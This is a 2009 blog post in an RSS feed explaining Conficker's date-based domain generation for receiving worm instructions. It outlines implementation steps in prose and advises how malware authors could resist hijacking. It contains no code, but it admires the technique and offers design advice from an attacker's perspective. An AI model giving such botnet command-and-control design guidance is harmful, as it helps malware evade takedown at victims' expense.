			<content:encoded><![CDATA[<p>Looking through how <a href="http://en.wikipedia.org/wiki/Conficker">Conficker</a> works, I realized their function for looking for instructions from a master is brilliant.  Most trojans and worms that report back to a main server or something similar usually hard-code either the actual server into the code (NO NO!) or an algorithm to generate the server into the code (almost as bad).  What <a href="http://sectechno.wordpress.com/2009/04/09/conficker-wakes-up-updates-via-p2p-drops-payload/">Conficker</a> does basically prevents shutdowns of the main server <em>and</em> prevents anyone from really knowing what the server is.<br />
<span id="more-6"></span><br />
So, this article will be quick &#8211; just explaining the concept of <a href="http://vil.nai.com/vil/content/v_153464.htm">what Conficker does</a>.</p>
<p>Basically, it generates a large number of URLs from an algorithm based on the day.  Not only does this create a huge list of unique URLs that Conficker could use at any time, but it hides which one it actually uses because it attempts to connect to them all.  It also hides what day the payload will drop at, which is another common problem in worms that activate later on. </p>
<p>If you&#8217;re not following, here&#8217;s exactly what would happen if you did the same thing:<br />
1. Your script runs and gets the date, for this example, we&#8217;ll say April 3rd.<br />
2. An algorithm in your script generates an array of one thousand URLs based off the date.<br />
For example, jgIF2jK.info, jfs82KjII.com, jfe820FDS.org, j8f303tgs.info, and so on.<br />
3. The script tries to connect to each url and waits for a response.<br />
4. If a response comes from the URL, it is checked to make sure it came from the author of the malware via password or something similar.<br />
5. If the URL responds with the correct password, instructions for what the worm is supposed to do next will follow.  These instructions could be to spread more, stop spreading, drop the payload, or anything else.</p>
<p>The downfall of this technique, as outlined here, would be hijacking.  If someone were to reverse engineer the virus to determine the algorithm for generating URLs and the password for each URL, they would be able to purchase a scheduled domain and masquerade as the virus author.  They could then tell the worm what to do &#8211; which might not be in the worm&#8217;s best interest.  This downfall could be overcome by limiting the functions that the worm can perform from domains.  Obviously, a &#8220;remove all traces from the computer&#8221; function that could be invoked remotely like that is a bad idea.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/6/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=6&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/11/update-techniques-url-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
	</channel>
</rss>
